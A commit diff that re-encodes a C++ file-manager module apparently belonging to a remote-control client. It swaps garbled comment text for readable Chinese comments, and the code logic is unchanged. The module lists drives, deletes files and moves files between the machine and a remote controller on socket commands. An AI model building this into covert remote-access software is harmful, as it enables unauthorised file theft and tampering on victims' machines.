style: Change files encoding format to UTF8-BOM

client/FileManager.cpp

@@ -1,4 +1,4 @@
-// FileManager.cpp: implementation of the CFileManager class.
+// FileManager.cpp: implementation of the CFileManager class.
 //
 //////////////////////////////////////////////////////////////////////
 
@@ -17,7 +17,7 @@ typedef struct {
 CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
 {
     m_nTransferMode = TRANSFER_MODE_NORMAL;
-    // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
+    // 发送驱动器列表, 开始进行文件管理，建立新线程
     SendDriveList();
 }
 
@@ -29,21 +29,21 @@ CFileManager::~CFileManager()
 VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
 {
     switch (lpBuffer[0]) {
-    case COMMAND_LIST_FILES:// <EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD><EFBFBD>б<EFBFBD>
+    case COMMAND_LIST_FILES:// 获取文件列表
         SendFilesList((char *)lpBuffer + 1);
         break;
-    case COMMAND_DELETE_FILE:// ɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+    case COMMAND_DELETE_FILE:// 删除文件
         DeleteFile((char *)lpBuffer + 1);
         SendToken(TOKEN_DELETE_FINISH);
         break;
-    case COMMAND_DELETE_DIRECTORY:// ɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+    case COMMAND_DELETE_DIRECTORY:// 删除文件
         DeleteDirectory((char *)lpBuffer + 1);
         SendToken(TOKEN_DELETE_FINISH);
         break;
-    case COMMAND_DOWN_FILES: // <EFBFBD>ϴ<EFBFBD><EFBFBD>ļ<EFBFBD>
+    case COMMAND_DOWN_FILES: // 上传文件
         UploadToRemote(lpBuffer + 1);
         break;
-    case COMMAND_CONTINUE: // <EFBFBD>ϴ<EFBFBD><EFBFBD>ļ<EFBFBD>
+    case COMMAND_CONTINUE: // 上传文件
         SendFileData(lpBuffer + 1);
         break;
     case COMMAND_CREATE_FOLDER:
@@ -221,23 +221,23 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
 UINT CFileManager::SendDriveList()
 {
     char	DriveString[256];
-    // ǰһ<EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 前一个字节为令牌，后面的52字节为驱动器跟相关属性
     BYTE	DriveList[1024];
     char	FileSystem[MAX_PATH];
     char	*pDrive = NULL;
-    DriveList[0] = TOKEN_DRIVE_LIST; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+    DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表
     GetLogicalDriveStrings(sizeof(DriveString), DriveString);
     pDrive = DriveString;
 
     unsigned __int64	HDAmount = 0;
     unsigned __int64	HDFreeSpace = 0;
-    unsigned __int64	AmntMB = 0; // <EFBFBD>ܴ<EFBFBD>С
-    unsigned __int64	FreeMB = 0; // ʣ<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>
+    unsigned __int64	AmntMB = 0; // 总大小
+    unsigned __int64	FreeMB = 0; // 剩余空间
 
     DWORD dwOffset = 1;
     for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) {
         memset(FileSystem, 0, sizeof(FileSystem));
-        // <EFBFBD>õ<EFBFBD><EFBFBD>ļ<EFBFBD>ϵͳ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
+        // 得到文件系统信息及大小
         GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
         SHFILEINFO	sfi = {};
         SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
@@ -245,7 +245,7 @@ UINT CFileManager::SendDriveList()
         int	nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
         int	nFileSystemLen = lstrlen(FileSystem) + 1;
 
-        // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
+        // 计算磁盘大小
         if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) {
             AmntMB = HDAmount / 1024 / 1024;
             FreeMB = HDFreeSpace / 1024 / 1024;
@@ -253,15 +253,15 @@ UINT CFileManager::SendDriveList()
             AmntMB = 0;
             FreeMB = 0;
         }
-        // <EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>ֵ
+        // 开始赋值
         DriveList[dwOffset] = pDrive[0];
         DriveList[dwOffset + 1] = GetDriveType(pDrive);
 
-        // <EFBFBD><EFBFBD><EFBFBD>̿ռ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռȥ<EFBFBD><EFBFBD>8<EFBFBD>ֽ<EFBFBD>
+        // 磁盘空间描述占去了8字节
         memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
         memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
 
-        // <EFBFBD><EFBFBD><EFBFBD>̾<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        // 磁盘卷标名及磁盘类型
         memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
         memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
 
@@ -274,7 +274,7 @@ UINT CFileManager::SendDriveList()
 
 UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
 {
-    // <EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><EFBFBD>䷽ʽ
+    // 重置传输方式
     m_nTransferMode = TRANSFER_MODE_NORMAL;
 
     UINT	nRet = 0;
@@ -282,9 +282,9 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
     char	*pszFileName = NULL;
     LPBYTE	lpList = NULL;
     HANDLE	hFile;
-    DWORD	dwOffset = 0; // λ<EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD>
+    DWORD	dwOffset = 0; // 位移指针
     int		nLen = 0;
-    DWORD	nBufferSize =  1024 * 10; // <EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD>10K<EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    DWORD	nBufferSize =  1024 * 10; // 先分配10K的缓冲区
     WIN32_FIND_DATA	FindFileData;
 
     lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
@@ -302,15 +302,15 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
 
     *lpList = TOKEN_FILE_LIST;
 
-    // 1 Ϊ<EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
+    // 1 为数据包头部所占字节,最后赋值
     dwOffset = 1;
     /*
-    <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	1
-    <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>		strlen(filename) + 1 ('\0')
-    <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>С	4
+    文件属性	1
+    文件名		strlen(filename) + 1 ('\0')
+    文件大小	4
     */
     do {
-        // <EFBFBD><EFBFBD>̬<EFBFBD><EFBFBD>չ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        // 动态扩展缓冲区
         if (dwOffset > (nBufferSize - MAX_PATH * 2)) {
             nBufferSize += MAX_PATH * 2;
             lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
@@ -320,21 +320,21 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
         pszFileName = FindFileData.cFileName;
         if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
             continue;
-        // <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
+        // 文件属性 1 字节
         *(lpList + dwOffset) = FindFileData.dwFileAttributes &	FILE_ATTRIBUTE_DIRECTORY;
         dwOffset++;
-        // <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD> lstrlen(pszFileName) + 1 <EFBFBD>ֽ<EFBFBD>
+        // 文件名 lstrlen(pszFileName) + 1 字节
         nLen = lstrlen(pszFileName);
         memcpy(lpList + dwOffset, pszFileName, nLen);
         dwOffset += nLen;
         *(lpList + dwOffset) = 0;
         dwOffset++;
 
-        // <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>С 8 <20>ֽ<EFBFBD>
+        // 文件大小 8 字节
         memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
         memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
         dwOffset += 8;
-        // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD> 8 <20>ֽ<EFBFBD>
+        // 最后访问时间 8 字节
         memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
         dwOffset += 8;
     } while(FindNextFile(hFile, &FindFileData));
@@ -355,7 +355,7 @@ bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
     wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
 
     HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
-    if (hFind == INVALID_HANDLE_VALUE) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>
+    if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
         return FALSE;
 
     do {
@@ -372,7 +372,7 @@ bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
         }
     } while (FindNextFile(hFind, &wfd));
 
-    FindClose(hFind); // <EFBFBD>رղ<EFBFBD><EFBFBD>Ҿ<EFBFBD><EFBFBD><EFBFBD>
+    FindClose(hFind); // 关闭查找句柄
 
     if(!RemoveDirectory(lpszDirectory)) {
         return FALSE;
@@ -385,9 +385,9 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
     UINT	nRet = 0;
     DWORD	dwSizeHigh;
     DWORD	dwSizeLow;
-    // 1 <EFBFBD>ֽ<EFBFBD>token, 8<EFBFBD>ֽڴ<EFBFBD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
+    // 1 字节token, 8字节大小, 文件名称, '\0'
     HANDLE	hFile;
-    // <EFBFBD><EFBFBD><EFBFBD>浱ǰ<EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
+    // 保存当前正在操作的文件名
     memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
     strcpy(m_strCurrentProcessFileName, lpszFileName);
 
@@ -396,7 +396,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
         return FALSE;
     dwSizeLow =	GetFileSize(hFile, &dwSizeHigh);
     SAFE_CLOSE_HANDLE(hFile);
-    // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 构造数据包，发送文件长度
     int		nPacketSize = lstrlen(lpszFileName) + 10;
     BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
     if (bPacket==NULL) {
@@ -424,7 +424,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
     pFileSize = (FILESIZE *)lpBuffer;
     lpFileName = m_strCurrentProcessFileName;
 
-    // Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>
+    // 远程跳过，传送下一个
     if (pFileSize->dwSizeLow == -1) {
         UploadNext();
         return 0;
@@ -436,14 +436,14 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
 
     SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
 
-    int		nHeadLength = 9; // 1 + 4 + 4<EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
+    int		nHeadLength = 9; // 1 + 4 + 4数据包头部大小
     DWORD	nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
     DWORD	nNumberOfBytesRead = 0;
 
     LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
     if (lpPacket == NULL)
         return -1;
-    // Token,  <EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // Token,  大小，偏移，文件名，数据
     lpPacket[0] = TOKEN_FILE_DATA;
     memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
     ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
@@ -461,17 +461,17 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
     return nRet;
 }
 
-// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+// 传送下一个文件
 void CFileManager::UploadNext()
 {
     std::list <std::string>::iterator it = m_UploadList.begin();
-    // ɾ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 删除一个任务
     m_UploadList.erase(it);
-    // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 还有上传任务
     if(m_UploadList.empty()) {
         SendToken(TOKEN_TRANSFER_FINISH);
     } else {
-        // <EFBFBD>ϴ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>
+        // 上传下一个
         it = m_UploadList.begin();
         SendFileSize((*it).c_str());
     }
@@ -495,7 +495,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
     }
 
     std::list <std::string>::iterator it = m_UploadList.begin();
-    // <EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+    // 发送第一个文件
     SendFileSize((*it).c_str());
 
     return true;
@@ -516,7 +516,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
     wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
 
     HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
-    if (hFind == INVALID_HANDLE_VALUE) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>
+    if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
         return false;
 
     do {
@@ -533,7 +533,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
         }
     } while (FindNextFile(hFind, &wfd));
 
-    FindClose(hFind); // <EFBFBD>رղ<EFBFBD><EFBFBD>Ҿ<EFBFBD><EFBFBD><EFBFBD>
+    FindClose(hFind); // 关闭查找句柄
     return true;
 }
 
@@ -547,14 +547,14 @@ void CFileManager::StopTransfer()
 void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
 {
     FILESIZE	*pFileSize = (FILESIZE *)lpBuffer;
-    // <EFBFBD><EFBFBD><EFBFBD>浱ǰ<EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
+    // 保存当前正在操作的文件名
     memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
     strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
 
-    // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 保存文件长度
     m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;
 
-    // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
+    // 创建多层目录
     MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
 
     WIN32_FIND_DATA FindFileData;
@@ -592,38 +592,38 @@ void CFileManager::GetFileData()
     WIN32_FIND_DATA FindFileData;
     HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
 
-    //  1<EFBFBD>ֽ<EFBFBD>Token,<EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>λ
+    //  1字节Token,四字节偏移高四位，四字节偏移低四位
     BYTE	bToken[9];
-    DWORD	dwCreationDisposition = 0; // <EFBFBD>ļ<EFBFBD><EFBFBD>򿪷<EFBFBD>ʽ
+    DWORD	dwCreationDisposition = 0; // 文件打开方式
     memset(bToken, 0, sizeof(bToken));
     bToken[0] = TOKEN_DATA_CONTINUE;
 
-    // <EFBFBD>ļ<EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 文件已经存在
     if (hFind != INVALID_HANDLE_VALUE) {
-        // <EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>ʲô
-        // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        // 提示点什么
+        // 如果是续传
         if (nTransferMode == TRANSFER_MODE_ADDITION) {
             memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
             memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
             dwCreationDisposition = OPEN_EXISTING;
         }
-        // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+        // 覆盖
         else if (nTransferMode == TRANSFER_MODE_OVERWRITE) {
-            // ƫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
+            // 偏移置0
             memset(bToken + 1, 0, 8);
-            // <EFBFBD><EFBFBD><EFBFBD>´<EFBFBD><EFBFBD><EFBFBD>
+            // 重新创建
             dwCreationDisposition = CREATE_ALWAYS;
         }
-        // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>
+        // 传送下一个
         else if (nTransferMode == TRANSFER_MODE_JUMP) {
             DWORD dwOffset = -1;
             memcpy(bToken + 5, &dwOffset, 4);
             dwCreationDisposition = OPEN_EXISTING;
         }
     } else {
-        // ƫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
+        // 偏移置0
         memset(bToken + 1, 0, 8);
-        // <EFBFBD><EFBFBD><EFBFBD>´<EFBFBD><EFBFBD><EFBFBD>
+        // 重新创建
         dwCreationDisposition = CREATE_ALWAYS;
     }
     FindClose(hFind);
@@ -639,7 +639,7 @@ void CFileManager::GetFileData()
             FILE_ATTRIBUTE_NORMAL,
             0
         );
-    // <EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 需要错误处理
     if (hFile == INVALID_HANDLE_VALUE) {
         m_nCurrentProcessFileLength = 0;
         return;
@@ -651,18 +651,18 @@ void CFileManager::GetFileData()
 
 void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
 {
-    // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 传输完毕
     BYTE	*pData;
     DWORD	dwBytesToWrite;
     DWORD	dwBytesWrite;
-    int		nHeadLength = 9; // 1 + 4 + 4  <EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>Ϊ<EFBFBD>̶<EFBFBD><EFBFBD><EFBFBD>9
+    int		nHeadLength = 9; // 1 + 4 + 4  数据包头部大小，为固定的9
     FILESIZE	*pFileSize;
-    // <EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><EFBFBD>
+    // 得到数据的偏移
     pData = lpBuffer + 8;
 
     pFileSize = (FILESIZE *)lpBuffer;
 
-    // <EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>е<EFBFBD>ƫ<EFBFBD><EFBFBD>
+    // 得到数据在文件中的偏移
     LONG	dwOffsetHigh = pFileSize->dwSizeHigh;
     LONG	dwOffsetLow = pFileSize->dwSizeLow;
 
@@ -683,7 +683,7 @@ void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
     SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
 
     int nRet = 0;
-    // д<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+    // 写入文件
     nRet = WriteFile
            (
                hFile,
@@ -693,7 +693,7 @@ void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
                NULL
            );
     SAFE_CLOSE_HANDLE(hFile);
-    // Ϊ<EFBFBD>˱Ƚϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+    // 为了比较，计数器递增
     BYTE	bToken[9];
     bToken[0] = TOKEN_DATA_CONTINUE;
     dwOffsetLow += dwBytesWrite;